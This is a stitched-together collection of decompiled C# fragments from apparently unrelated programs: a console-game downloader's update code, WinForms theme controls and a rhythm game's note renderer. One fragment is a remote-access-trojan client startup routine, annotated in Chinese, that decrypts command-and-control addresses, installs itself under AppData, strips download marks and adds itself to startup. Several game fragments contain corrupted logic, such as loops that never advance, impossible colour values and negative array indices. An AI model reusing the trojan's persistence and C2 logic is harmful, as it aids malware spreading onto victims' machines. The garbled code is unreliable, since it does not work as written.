private void InstallCommunityShaders() { try { string id = this.GetId(); long num = 0; string str = System.IO.Path.Combine(this.ShaderTransferDir, id + ".bin"); if (System.IO.File.Exists(str)) { num = new System.IO.FileInfo(str).Length; } if (!(GClass6.smethod_20(string.Format("{0}/shaders/proposal.php", (object)Class67.String_1), new NameValueCollection() { { "id", id }, { "size", num.ToString() } }) == "LARGER")) { return; } GClass27.smethod_7(string.Format("{0}/shaders/vault/{1}.zip", (object)Class67.String_1, (object)id), this.ShaderTransferDir); } catch { } }
// Token: 0x06001692 RID: 5778 RVA: 0x000BA718 File Offset: 0x000B8918 private void method_15(GClass6 gclass6_1) { this.list_0.Add(gclass6_1); float num = (float)((double)gclass6_1.float_0 - this.gameManager.double_1); gclass6_1.float_1 += num; }
public override void DeleteUpdate() { base.DeleteUpdate(); try { GClass6.smethod_5(System.IO.Path.Combine(this.UpdatePath, "code")); } catch { } try { GClass6.smethod_5(System.IO.Path.Combine(this.UpdatePath, "meta")); } catch { } try { GClass6.smethod_5(System.IO.Path.Combine(this.UpdatePath, "content")); } catch { } }
// Token: 0x06000158 RID: 344 RVA: 0x00006448 File Offset: 0x00004648 protected virtual void OnPaint(PaintEventArgs e) { this.method_0(); Bitmap bitmap = GControl5.smethod_3(GControl5.smethod_1(this), GControl5.smethod_2(this)); Graphics graphics = GControl5.smethod_4(bitmap); this.int_0 = GControl5.smethod_1(this) - 1; this.int_1 = GControl5.smethod_2(this) - 1; GraphicsPath graphicsPath_ = GControl5.smethod_5(); GraphicsPath graphicsPath_2 = GControl5.smethod_5(); GraphicsPath graphicsPath_3 = GControl5.smethod_5(); Rectangle rectangle_ = new Rectangle(8, 8, this.int_0 - 16, this.int_1 - 16); Graphics graphics2 = graphics; GControl5.smethod_6(graphics2, SmoothingMode.HighQuality); GControl5.smethod_7(graphics2, PixelOffsetMode.HighQuality); GControl5.smethod_8(graphics2, TextRenderingHint.ClearTypeGridFit); GControl5.smethod_10(graphics2, GControl5.smethod_9(this)); graphicsPath_ = GClass6.smethod_0(rectangle_, 8); GControl5.smethod_12(graphics2, GControl5.smethod_11(this.color_0), graphicsPath_); graphicsPath_2 = GClass6.smethod_2(28, 2, false); GControl5.smethod_12(graphics2, GControl5.smethod_11(this.color_0), graphicsPath_2); graphicsPath_3 = GClass6.smethod_2(28, 8, true); GControl5.smethod_12(graphics2, GControl5.smethod_11(Color.FromArgb(60, 70, 73)), graphicsPath_3); if (this.Boolean_0) { graphics2.DrawString(GControl5.smethod_13(this), GControl5.smethod_14(this), GControl5.smethod_11(this.color_1), new Rectangle(16, 16, this.int_0, this.int_1), GClass6.stringFormat_0); } base.OnPaint(e); graphics.Dispose(); e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; e.Graphics.DrawImageUnscaled(bitmap, 0, 0); bitmap.Dispose(); }
// Token: 0x060000CC RID: 204 RVA: 0x0025E4F4 File Offset: 0x0025C6F4 protected virtual void OnPaint(PaintEventArgs e) { this.method_0(); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); this.int_0 = base.Width - 1; this.int_1 = base.Height - 1; GraphicsPath path = new GraphicsPath(); GraphicsPath path2 = new GraphicsPath(); GraphicsPath path3 = new GraphicsPath(); Rectangle rectangle_ = new Rectangle(8, 8, this.int_0 - 16, this.int_1 - 16); Graphics graphics2 = graphics; graphics2.SmoothingMode = SmoothingMode.HighQuality; graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality; graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; graphics2.Clear(this.BackColor); path = GClass6.smethod_0(rectangle_, 8); graphics2.FillPath(new SolidBrush(this.color_0), path); path2 = GClass6.smethod_2(28, 2, false); graphics2.FillPath(new SolidBrush(this.color_0), path2); path3 = GClass6.smethod_2(28, 8, true); graphics2.FillPath(new SolidBrush(Color.FromArgb(60, 70, 73)), path3); if (this.Boolean_0) { graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), new Rectangle(16, 16, this.int_0, this.int_1), GClass6.stringFormat_0); } base.OnPaint(e); graphics.Dispose(); e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; e.Graphics.DrawImageUnscaled(bitmap, 0, 0); bitmap.Dispose(); }
// Token: 0x06000223 RID: 547 RVA: 0x000073A4 File Offset: 0x000055A4 protected virtual void OnPaint(PaintEventArgs e) { this.method_1(); Bitmap bitmap = GControl10.smethod_5(GControl10.smethod_3(this), GControl10.smethod_4(this)); Graphics graphics = GControl10.smethod_6(bitmap); this.int_0 = GControl10.smethod_3(this) - 1; this.int_1 = GControl10.smethod_4(this) - 1; Rectangle rectangle = new Rectangle(0, 24, this.int_0, this.int_1); GraphicsPath graphicsPath = GControl10.smethod_7(); GraphicsPath path = GControl10.smethod_7(); GraphicsPath path2 = GControl10.smethod_7(); Graphics graphics2 = graphics; GControl10.smethod_8(graphics2, SmoothingMode.HighQuality); GControl10.smethod_9(graphics2, PixelOffsetMode.HighQuality); GControl10.smethod_10(graphics2, TextRenderingHint.ClearTypeGridFit); GControl10.smethod_12(graphics2, GControl10.smethod_11(this)); int num = (int)((float)this.int_2 / (float)this.int_3 * (float)GControl10.smethod_3(this)); int int32_ = this.Int32_1; if (int32_ == 0) { GControl10.smethod_14(graphics2, GControl10.smethod_13(this.color_0), rectangle); graphics2.FillRectangle(GControl10.smethod_13(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1)); } else if (int32_ == 100) { graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle); graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1)); } else { graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle); graphicsPath.AddRectangle(new Rectangle(0, 24, num - 1, this.int_1 - 1)); graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath); if (this.bool_0) { HatchBrush brush = new HatchBrush(HatchStyle.Plaid, this.color_2, this.color_1); graphics2.FillRectangle(brush, new Rectangle(0, 24, num - 1, this.int_1 - 1)); } if (this.bool_1) { path = GClass6.smethod_0(new Rectangle(num - 18, 0, 34, 16), 4); graphics2.FillPath(new SolidBrush(this.color_0), path); path2 = GClass6.smethod_2(num - 9, 16, true); graphics2.FillPath(new SolidBrush(this.color_0), path2); string s = this.bool_2 ? (this.Int32_1.ToString() + "%") : this.Int32_1.ToString(); int x = this.bool_2 ? (num - 15) : (num - 11); graphics2.DrawString(s, new Font("Segoe UI", 10f), new SolidBrush(this.color_1), new Rectangle(x, -2, this.int_0, this.int_1), GClass6.stringFormat_0); } } base.OnPaint(e); graphics.Dispose(); e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; e.Graphics.DrawImageUnscaled(bitmap, 0, 0); bitmap.Dispose(); }
// Token: 0x060005BB RID: 1467 private static void smethod_2() { //判断判断互斥体是否多开,有则失去连接,并且返回 if (!GClass2.smethod_0(GClass35.string_6)) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //解密Key GClass18.smethod_0(GClass35.string_2); //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线) Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1)); //解密远程文件下载路径 %AppData%/Subdir/client.exe GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5); //geoip信息获取ip地理位置国家等信息 GClass34.smethod_0(); //判断上线地址是否失败 if (Class10.gclass25_0.IsEmpty) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //删除当前目录下的后缀为:Zone.Identifier GClass4.smethod_2(GClass0.CurrentPath); //判断当前目录是否是下载目录如果不是则进入 if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath)) { //互斥体存在则关闭 GClass2.smethod_1(); //运行下载路径的文件 GClass13.smethod_0(Class10.client_0); return; } //用户状态更新线程 五秒更新一次 GClass3.smethod_2(); //添加程序到用户启动项 if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1()) { GClass0.AddToStartupFailed = true; } //添加并初始化实体类 Class10.smethod_1(); if (GClass35.bool_3) { if (Class10.threadStart_0 == null) { Class10.threadStart_0 = new ThreadStart(Class10.smethod_9); } new Thread(Class10.threadStart_0).Start(); return; } }
// Token: 0x0600011F RID: 287 RVA: 0x0025FADC File Offset: 0x0025DCDC protected virtual void OnPaint(PaintEventArgs e) { this.method_1(); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); this.int_0 = base.Width - 1; this.int_1 = base.Height - 1; Rectangle rect = new Rectangle(0, 24, this.int_0, this.int_1); GraphicsPath graphicsPath = new GraphicsPath(); GraphicsPath path = new GraphicsPath(); GraphicsPath path2 = new GraphicsPath(); Graphics graphics2 = graphics; graphics2.SmoothingMode = SmoothingMode.HighQuality; graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality; graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; graphics2.Clear(this.BackColor); int num = (int)((float)this.int_2 / (float)this.int_3 * (float)base.Width); int int32_ = this.Int32_1; if (int32_ == 0) { graphics2.FillRectangle(new SolidBrush(this.color_0), rect); graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1)); } else if (int32_ == 100) { graphics2.FillRectangle(new SolidBrush(this.color_0), rect); graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1)); } else { graphics2.FillRectangle(new SolidBrush(this.color_0), rect); graphicsPath.AddRectangle(new Rectangle(0, 24, num - 1, this.int_1 - 1)); graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath); if (this.bool_0) { HatchBrush brush = new HatchBrush(HatchStyle.Plaid, this.color_2, this.color_1); graphics2.FillRectangle(brush, new Rectangle(0, 24, num - 1, this.int_1 - 1)); } if (this.bool_1) { path = GClass6.smethod_0(new Rectangle(num - 18, 0, 34, 16), 4); graphics2.FillPath(new SolidBrush(this.color_0), path); path2 = GClass6.smethod_2(num - 9, 16, true); graphics2.FillPath(new SolidBrush(this.color_0), path2); string s = this.bool_2 ? (this.Int32_1.ToString() + "%") : this.Int32_1.ToString(); int x = this.bool_2 ? (num - 15) : (num - 11); graphics2.DrawString(s, new Font("Segoe UI", 10f), new SolidBrush(this.color_1), new Rectangle(x, -2, this.int_0, this.int_1), GClass6.stringFormat_0); } } base.OnPaint(e); graphics.Dispose(); e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; e.Graphics.DrawImageUnscaled(bitmap, 0, 0); bitmap.Dispose(); }
public override void DeleteDlc() { try { GClass6.smethod_5(this.DlcPath); } catch { } }
public override void DeleteUpdate() { try { GClass6.smethod_5(this.UpdatePath); } catch { } }
// Token: 0x060003AB RID: 939 RVA: 0x00009BAC File Offset: 0x00007DAC public static GraphicsPath smethod_0(Rectangle rectangle_0, int int_0) { GraphicsPath graphicsPath = GClass6.smethod_4(); int num = int_0 * 2; graphicsPath.AddArc(new Rectangle(rectangle_0.X, rectangle_0.Y, num, num), -180f, 90f); graphicsPath.AddArc(new Rectangle(rectangle_0.Width - num + rectangle_0.X, rectangle_0.Y, num, num), -90f, 90f); graphicsPath.AddArc(new Rectangle(rectangle_0.Width - num + rectangle_0.X, rectangle_0.Height - num + rectangle_0.Y, num, num), 0f, 90f); graphicsPath.AddArc(new Rectangle(rectangle_0.X, rectangle_0.Height - num + rectangle_0.Y, num, num), 90f, 90f); graphicsPath.AddLine(new Point(rectangle_0.X, rectangle_0.Height - num + rectangle_0.Y), new Point(rectangle_0.X, int_0 + rectangle_0.Y)); return(graphicsPath); }
protected override void PrepareRomIfNecessary(bool directDownload) { if (!this.Boolean_2) { string str = Path.Combine(this.String_5, this.gclass30_0.TitleId.IdRaw); GClass6.smethod_5(str); this.gclass30_0.method_3(str, false); string name = new DirectoryInfo(this.CurrentGamePath).Name; GClass6.smethod_5(Path.Combine(this.String_5, name)); FileSystem.RenameDirectory(str, name); } this.PrepareUpdateIfNecessary(directDownload); }
// Token: 0x060003AF RID: 943 RVA: 0x00009E40 File Offset: 0x00008040 // Note: this type is marked as 'beforefieldinit'. static GClass6() { StringFormat stringFormat_ = GClass6.smethod_15(); GClass6.smethod_16(stringFormat_, StringAlignment.Near); GClass6.smethod_17(stringFormat_, StringAlignment.Near); GClass6.stringFormat_0 = stringFormat_; StringFormat stringFormat_2 = GClass6.smethod_15(); GClass6.smethod_16(stringFormat_2, StringAlignment.Center); GClass6.smethod_17(stringFormat_2, StringAlignment.Center); GClass6.stringFormat_1 = stringFormat_2; }
// Token: 0x06000296 RID: 662 RVA: 0x0002C1FC File Offset: 0x0002A3FC public void method_40(CHPlayer gclass9_0, BasePlayer basePlayer_0, Song gclass27_0) { int i = 0; int num = gclass9_0.int_0 * this.int_9; GClass26 gclass = gclass27_0.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0); this.int_8[gclass9_0.int_0] = basePlayer_0.int_6; this.int_6[gclass9_0.int_0] = basePlayer_0.int_3; this.int_7[gclass9_0.int_0] = gclass.method_50().Length; this.int_3[gclass9_0.int_0] = basePlayer_0.int_7; this.float_0[gclass9_0.int_0] = (float)(basePlayer_0.int_6 - basePlayer_0.int_9) / (float)gclass.method_21(); for (int j = 1; j < this.int_9; j += 0) { uint num2 = 0u; int num3 = 1; int num4 = 1; if (j < this.int_9 - 0) { num2 = this.gclass22_0[j + 1].uint_0; } while (i < basePlayer_0.noteRenderer.list_0.Count) { GClass6 gclass2 = basePlayer_0.noteRenderer.list_0[i]; if (num2 > 0u && gclass2.uint_0 >= num2) { break; } if (!gclass2.Boolean_1 || !gclass2.Boolean_2) { if (gclass2.bool_0) { num3++; } num4 += 0; } i++; } if (num4 == 0) { this.int_1[num] = -1; } else { this.int_1[num] = (int)((float)num3 / (float)num4 * 1854f); } this.int_4[gclass9_0.int_0] += num3; this.int_5[gclass9_0.int_0] += num4; num++; } this.int_2[gclass9_0.int_0] = (int)((float)this.int_4[gclass9_0.int_0] / (float)this.int_5[gclass9_0.int_0] * 1953f); }
// Token: 0x060014AC RID: 5292 RVA: 0x0008FA44 File Offset: 0x0008DC44 public override void vmethod_8(Vector3 vector3_0, byte byte_0, GClass6 gclass6_0, bool bool_0, int int_0, float float_0) { int num = 0; byte b = (byte)(gclass6_0.byte_0 >> 0 & 0 << (int)(byte_0 & 96)); byte b2 = (byte)((int)(gclass6_0.byte_0 & 1) & 0 << (int)(byte_0 & 67)); if (b2 != 0 && b != 0) { num = 8; } else if (b2 != 0) { num = 0; } this.transform_0.localPosition = vector3_0; int_0 *= 7; Color color = new Color(457f, 692f, 1987f, float_0); this.Body.color = (this.SP_Bolt.color = color); this.SP_Rim.color = new Color(1618f, 1755f, 31f, 312f * float_0); this.HOPO.color = new Color(132f, 1932f, 429f, 869f * float_0); this.Body.sortingOrder = int_0; this.HOPO.sortingOrder = int_0 + 0; this.SP_Rim.sortingOrder = int_0 + 4; this.SP_Bolt.sortingOrder = int_0 + 3; this.SP_Rim.sprite = null; this.HOPO.sprite = null; this.SP_Bolt.sprite = null; if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[num + 1]; } else if (gclass6_0.method_15()) { this.HOPO.sprite = this.sprite_0[num + 3]; } if (bool_0) { this.SP_Rim.sprite = this.sprite_0[num + -16]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[-87]; } this.Body.sprite = this.sprite_0[num]; }
// Token: 0x060014A1 RID: 5281 RVA: 0x0008ED10 File Offset: 0x0008CF10 public virtual void vmethod_78(Vector3 vector3_0, byte byte_0, GClass6 gclass6_0, bool bool_0, int int_0, float float_0) { int num = 0; byte b = (byte)(gclass6_0.byte_0 >> 4 & 0 << (int)(byte_0 & 79)); byte b2 = (byte)((int)(gclass6_0.byte_0 & 2) & 1 << ((int)byte_0 & -117)); if (b2 != 0 && b != 0) { num = 1; } else if (b2 != 0) { num = 1; } this.transform_0.localPosition = vector3_0; int_0 *= 6; Color color = new Color(1385f, 997f, 544f, float_0); this.Body.color = (this.SP_Bolt.color = color); this.SP_Rim.color = new Color(1559f, 1133f, 1092f, 799f * float_0); this.HOPO.color = new Color(1621f, 780f, 633f, 1052f * float_0); this.Body.sortingOrder = int_0; this.HOPO.sortingOrder = int_0 + 1; this.SP_Rim.sortingOrder = int_0 + 0; this.SP_Bolt.sortingOrder = int_0 + 8; this.SP_Rim.sprite = null; this.HOPO.sprite = null; this.SP_Bolt.sprite = null; if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[num + 1]; } else if (gclass6_0.method_15()) { this.HOPO.sprite = this.sprite_0[num + 1]; } if (bool_0) { this.SP_Rim.sprite = this.sprite_0[num + -64]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[-103]; } this.Body.sprite = this.sprite_0[num]; }
private void method_10() { try { MainWindow.< > c__DisplayClass60_0 CS$ < > 8__locals1 = new MainWindow.< > c__DisplayClass60_0(); CS$ < > 8__locals1.selected = this.Selected; if (CS$ < > 8__locals1.selected != null) { if (this._lastSelected == CS$ < > 8__locals1.selected && this._lastMapControl != null) { int renders = this.Renders; this.Renders = renders + 1; if (renders % 100 != 0) { goto IL_67; } } this._lastMapControl = GClass6.smethod_0 <MapControl>(this.MainTabs, new Func <MapControl, bool>(CS$ < > 8__locals1.UchShImKrY)); IL_67: this._lastSelected = CS$ < > 8__locals1.selected; MapControl lastMapControl = this._lastMapControl; if (lastMapControl != null) { lastMapControl.InvalidateVisual(); } GClass871 lastSelected = this._lastSelected; if (lastSelected != null) { GClass839 context = lastSelected.Context; if (context != null) { GClass831 stats = context.Stats; if (stats != null) { stats.method_3(); } } } GameManager game = CS$ < > 8__locals1.selected.Context.Game; } } catch { } this.LastRender = DateTimeOffset.Now; }
// Token: 0x060016AB RID: 5803 RVA: 0x000BAE60 File Offset: 0x000B9060 public virtual void vmethod_3(GClass6 gclass6_1) { gclass6_1.bool_1 = true; if (gclass6_1.Boolean_2) { return; } this.bool_5 = gclass6_1.Boolean_3; this.vmethod_4(false); if (gclass6_1.Boolean_8) { this.method_10(); } if (gclass6_1.Boolean_9) { this.method_11(); } }
// Token: 0x060003AE RID: 942 RVA: 0x00009DE8 File Offset: 0x00007FE8 public static GClass0 smethod_3(Control control_0) { if (control_0 == null) { throw GClass6.smethod_10(); } GClass0 gclass = new GClass0(); while (control_0 != null && GClass6.smethod_14(GClass6.smethod_12(control_0), GClass6.smethod_13(typeof(GControl18).TypeHandle))) { control_0 = GClass6.smethod_11(control_0); } if (control_0 != null) { GControl18 gcontrol = (GControl18)control_0; gclass.color_0 = gcontrol.Color_3; } return(gclass); }
// Token: 0x060003AD RID: 941 RVA: 0x00009D80 File Offset: 0x00007F80 public static GraphicsPath smethod_2(int int_0, int int_1, bool bool_0) { GraphicsPath graphicsPath = GClass6.smethod_4(); int num = 12; int num2 = 6; if (!bool_0) { GClass6.smethod_9(graphicsPath, int_0, int_1 + num2, int_0 + num, int_1 + num2); GClass6.smethod_9(graphicsPath, int_0 + num, int_1 + num2, int_0 + num2, int_1); } else { GClass6.smethod_9(graphicsPath, int_0 + 1, int_1, int_0 + num + 1, int_1); GClass6.smethod_9(graphicsPath, int_0 + num, int_1, int_0 + num2, int_1 + num2 - 1); } GClass6.smethod_8(graphicsPath); return(graphicsPath); }
// Token: 0x060003AC RID: 940 RVA: 0x00009CB8 File Offset: 0x00007EB8 public static GraphicsPath smethod_1(float float_0, float float_1, float float_2, float float_3, double double_0 = 0.3, bool bool_0 = true, bool bool_1 = true, bool bool_2 = true, bool bool_3 = true) { float num = GClass6.smethod_5(float_2, float_3) * (float)double_0; float num2 = float_0 + float_2; float num3 = float_1 + float_3; GraphicsPath graphicsPath_; GraphicsPath result = graphicsPath_ = GClass6.smethod_4(); if (bool_0) { GClass6.smethod_6(graphicsPath_, float_0, float_1, num, num, 180f, 90f); } else { GClass6.smethod_7(graphicsPath_, float_0, float_1, float_0, float_1); } if (bool_1) { GClass6.smethod_6(graphicsPath_, num2 - num, float_1, num, num, 270f, 90f); } else { GClass6.smethod_7(graphicsPath_, num2, float_1, num2, float_1); } if (bool_2) { GClass6.smethod_6(graphicsPath_, num2 - num, num3 - num, num, num, 0f, 90f); } else { GClass6.smethod_7(graphicsPath_, num2, num3, num2, num3); } if (bool_3) { GClass6.smethod_6(graphicsPath_, float_0, num3 - num, num, num, 90f, 90f); } else { GClass6.smethod_7(graphicsPath_, float_0, num3, float_0, num3); } GClass6.smethod_8(graphicsPath_); return(result); }
// Token: 0x0600149B RID: 5275 RVA: 0x0008EC88 File Offset: 0x0008CE88 public void method_0() { for (int i = this.int_0; i < this.list_0.Count; i++) { GClass6 gclass = this.list_0[i]; if (gclass.Boolean_4) { while (gclass != null) { gclass.genum3_0 &= ~GClass6.GEnum3.STAR_POWER; gclass.genum3_0 &= ~GClass6.GEnum3.STAR_POWER_END; gclass = gclass.gclass6_1; } return; } if (gclass.Boolean_3) { gclass.genum3_0 &= ~GClass6.GEnum3.STAR_POWER; } } }
private bool CheckNvidiaDriverVersion() { try { foreach (ManagementObject managementObject in new ManagementObjectSearcher("SELECT * FROM Win32_VideoController").Get()) { PropertyData property1 = managementObject.Properties["CurrentBitsPerPixel"]; PropertyData property2 = managementObject.Properties["Description"]; PropertyData property3 = managementObject.Properties["DriverVersion"]; int result; if (property1.Value != null && property2.Value != null && (property3.Value != null && property2.Value.ToString().ToLower().Contains("nvidia")) && (int.TryParse(property3.Value.ToString().Replace(".", "").Substring(5), out result) && result < 38792)) { switch (RadMessageBox.Show("USB Helper has detected that your NVIDIA driver is very old. You will encounter several issues when playing games with Cemu. Please update your driver as soon as possible. Should I take you to the download page?", "Old driver", MessageBoxButtons.YesNoCancel)) { case DialogResult.Cancel: return(false); case DialogResult.Yes: Process.Start("http://www.nvidia.fr/Download/index.aspx"); if (RadMessageBox.Show("It is recommended that you also delete your old shader cache, should I do it for you?", "Delete shader cache?", MessageBoxButtons.YesNo) == DialogResult.Yes) { GClass6.smethod_5(System.IO.Path.Combine(this.Root_BIN_Path, "shaderCache", "precompiled")); } return(false); default: continue; } } } } catch { } return(true); }
// Token: 0x060016A4 RID: 5796 RVA: 0x000BAAA4 File Offset: 0x000B8CA4 protected bool method_0(GClass6 gclass6_1) { int num = (int)this.byte_0; if (this.list_0.Count > 0) { foreach (GClass6 gclass in this.list_0) { if (gclass.Boolean_5) { num &= (int)(~(int)gclass.byte_0); } } if (num != (int)this.byte_0 && this.vmethod_2(gclass6_1, num)) { return(true); } } int num2 = num; if (this.list_1.Count > 0) { foreach (GClass6 gclass2 in this.list_1) { if (gclass2.Boolean_5) { num2 &= (int)(~(int)gclass2.byte_0); } } if (num2 != num && this.vmethod_2(gclass6_1, num2)) { return(true); } } return(this.vmethod_2(gclass6_1, (int)this.byte_0)); }
// Token: 0x060014A9 RID: 5289 RVA: 0x0008F5AC File Offset: 0x0008D7AC public virtual void vmethod_82(Vector3 vector3_0, byte byte_0, GClass6 gclass6_0, bool bool_0, int int_0, float float_0) { int num = 0; byte b = (byte)(gclass6_0.byte_0 >> 3 & 1 << (int)(byte_0 & 32)); byte b2 = (byte)((int)(gclass6_0.byte_0 & 7) & 1 << (int)(byte_0 & 20)); if (b2 != 0 && b != 0) { num = 3; } else if (b2 != 0) { num = 1; } this.transform_0.localPosition = vector3_0; int_0 *= 8; Color color = new Color(906f, 1162f, 579f, float_0); this.Body.color = (this.SP_Bolt.color = color); this.SP_Rim.color = new Color(1295f, 229f, 1053f, 661f * float_0); this.HOPO.color = new Color(1894f, 1814f, 214f, 1470f * float_0); this.Body.sortingOrder = int_0; this.HOPO.sortingOrder = int_0 + 0; this.SP_Rim.sortingOrder = int_0 + 3; this.SP_Bolt.sortingOrder = int_0 + 4; this.SP_Rim.sprite = null; this.HOPO.sprite = null; this.SP_Bolt.sprite = null; if (gclass6_0.byte_0 == 15) { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[86]; } else if (gclass6_0.Boolean_6) { this.HOPO.sprite = this.sprite_0[34]; } if (bool_0) { this.Body.sprite = this.sprite_0[-91]; } else { this.Body.sprite = this.sprite_0[-127]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[-7]; return; } } else { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[num + 4]; } else if (gclass6_0.method_8()) { this.HOPO.sprite = this.sprite_0[num + 2]; } if (bool_0) { this.SP_Rim.sprite = this.sprite_0[num + -85]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[-68]; } this.Body.sprite = this.sprite_0[num]; } }
// Token: 0x06000271 RID: 625 RVA: 0x00007CC8 File Offset: 0x00005EC8 private void method_1() { GClass0 gclass = GClass6.smethod_3(this); this.color_2 = gclass.color_0; }
// Token: 0x06000064 RID: 100 RVA: 0x0025CCC8 File Offset: 0x0025AEC8 protected virtual void OnPaint(PaintEventArgs e) { this.method_0(); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); this.int_0 = base.Width - 1; this.int_1 = base.Height - 1; GraphicsPath path = new GraphicsPath(); Rectangle rectangle = new Rectangle(0, 0, this.int_0, this.int_1); Graphics graphics2 = graphics; graphics2.SmoothingMode = SmoothingMode.HighQuality; graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality; graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; graphics2.Clear(this.BackColor); switch (this.genum5_0) { case GEnum5.None: if (this.Boolean_0) { path = GClass6.smethod_0(rectangle, 6); graphics2.FillPath(new SolidBrush(this.color_0), path); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } else { graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } break; case GEnum5.Over: if (this.Boolean_0) { path = GClass6.smethod_0(rectangle, 6); graphics2.FillPath(new SolidBrush(this.color_0), path); graphics2.FillPath(new SolidBrush(Color.FromArgb(20, Color.White)), path); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } else { graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle); graphics2.FillRectangle(new SolidBrush(Color.FromArgb(20, Color.White)), rectangle); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } break; case GEnum5.Down: if (this.Boolean_0) { path = GClass6.smethod_0(rectangle, 6); graphics2.FillPath(new SolidBrush(this.color_0), path); graphics2.FillPath(new SolidBrush(Color.FromArgb(20, Color.Black)), path); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } else { graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle); graphics2.FillRectangle(new SolidBrush(Color.FromArgb(20, Color.Black)), rectangle); graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1); } break; } base.OnPaint(e); graphics.Dispose(); e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; e.Graphics.DrawImageUnscaled(bitmap, 0, 0); bitmap.Dispose(); }
// Token: 0x060014A2 RID: 5282 RVA: 0x0008EEC8 File Offset: 0x0008D0C8 public override void vmethod_35(Vector3 vector3_0, byte byte_0, GClass6 gclass6_0, bool bool_0, int int_0, float float_0) { int num = 0; byte b = (byte)(gclass6_0.byte_0 >> 3 & 1 << (int)byte_0); byte b2 = (byte)((int)(gclass6_0.byte_0 & 7) & 1 << (int)byte_0); if (b2 != 0 && b != 0) { num = 2; } else if (b2 != 0) { num = 1; } this.transform_0.localPosition = vector3_0; int_0 *= 4; Color color = new Color(1f, 1f, 1f, float_0); this.Body.color = (this.SP_Bolt.color = color); this.SP_Rim.color = new Color(1f, 1f, 1f, 0.25f * float_0); this.HOPO.color = new Color(1f, 1f, 1f, 0.5f * float_0); this.Body.sortingOrder = int_0; this.HOPO.sortingOrder = int_0 + 1; this.SP_Rim.sortingOrder = int_0 + 2; this.SP_Bolt.sortingOrder = int_0 + 3; this.SP_Rim.sprite = null; this.HOPO.sprite = null; this.SP_Bolt.sprite = null; if (gclass6_0.byte_0 == 64) { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[14]; } else if (gclass6_0.Boolean_6) { this.HOPO.sprite = this.sprite_0[13]; } if (bool_0) { this.Body.sprite = this.sprite_0[15]; } else { this.Body.sprite = this.sprite_0[12]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[16]; return; } } else { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[num + 3]; } else if (gclass6_0.Boolean_6) { this.HOPO.sprite = this.sprite_0[num + 6]; } if (bool_0) { this.SP_Rim.sprite = this.sprite_0[num + 9]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[17]; } this.Body.sprite = this.sprite_0[num]; } }
